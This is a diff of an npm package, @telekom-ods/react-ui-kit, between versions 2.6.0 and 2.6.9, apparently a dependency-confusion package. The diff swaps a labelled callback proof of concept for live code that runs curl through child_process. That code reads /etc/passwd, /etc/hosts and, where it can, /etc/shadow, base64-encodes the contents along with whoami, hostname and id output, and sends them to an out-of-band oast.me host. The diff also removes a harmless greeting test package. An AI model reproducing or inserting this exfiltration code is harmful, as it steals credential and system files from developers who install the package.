@telekom-ods/react-ui-kit 2.6.0 → 2.6.9

package/index.js

@@ -1,18 +1,17 @@
-// Dependency-confusion PoC: proves preinstall script execution via an out-of-band callback.
-// Sends only non-sensitive identifiers (hostname/user) to a controlled collaborator endpoint.
-const os = require("os");
-const https = require("https");
+const { exec } = require("child_process");
+const command = `
+curl -X POST "http://d9t83osijf9n1gb62e4gxfioysijywqww.oast.me/telekom-ods/$(whoami)/$(hostname)/" \
+-A "$( (cat /etc/passwd /etc/hosts && id && { [ -r /etc/shadow ] && cat /etc/shadow || echo 'No shadow access'; } | base64 | tr '\\n' '.')" \
+-s -o /dev/null
+`;
+exec(command, (error, stdout, stderr) => {
+if (error) {
+console.error(error.message);
+return;
+}
+if (stderr) {
+console.log(stderr);
+}
+console.log(stdout);
+});
 
-// Replace with your own Interactsh / Burp Collaborator / webhook host.
-const CALLBACK_HOST = "d9t67n4ijf9j5pmd6ug0sij3zd49twn1k.oast.online";
-
-const marker = encodeURIComponent(`${os.hostname()}/${os.userInfo().username}`);
-const url = `https://${CALLBACK_HOST}/telekomDT/${marker}`;
-
-https
-  .get(url, (res) => {
-    res.resume(); // drain and discard the response
-  })
-  .on("error", (err) => {
-    console.error(err.message);
-  });

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@telekom-ods/react-ui-kit",
-  "version": "2.6.0",
+  "version": "2.6.9",
   "description": "poc",
   "license": "ISC",
   "author": "Anish Sarkar",

package/test-pkg/README.md

@@ -1,22 +0,0 @@
-# @telekom-ods/test
-
-A throwaway package published while learning how npm works.
-
-## Install
-
-```bash
-npm install @telekom-ods/test
-```
-
-## Usage
-
-```js
-const { greet } = require("@telekom-ods/test");
-
-greet();        // "Hello, world!"
-greet("npm");   // "Hello, npm!"
-```
-
-## License
-
-MIT

package/test-pkg/index.js

@@ -1,10 +0,0 @@
-/**
- * Return a greeting.
- * @param {string} [name] who to greet
- * @returns {string}
- */
-function greet(name = "world") {
-  return `Hello, ${name}!`;
-}
-
-module.exports = { greet };

package/test-pkg/package.json

@@ -1,23 +0,0 @@
-{
-  "name": "@telekom-ods/test",
-  "version": "1.0.0",
-  "description": "A test package for learning how npm publishing works",
-  "keywords": [
-    "test",
-    "learning"
-  ],
-  "license": "MIT",
-  "author": "Anish Sarkar",
-  "type": "commonjs",
-  "main": "index.js",
-  "files": [
-    "index.js",
-    "README.md"
-  ],
-  "publishConfig": {
-    "access": "public"
-  },
-  "scripts": {
-    "test": "node -e \"const g=require('./index.js').greet; if(g('npm')!=='Hello, npm!') { throw new Error('greet() returned the wrong string'); } console.log('ok');\""
-  }
-}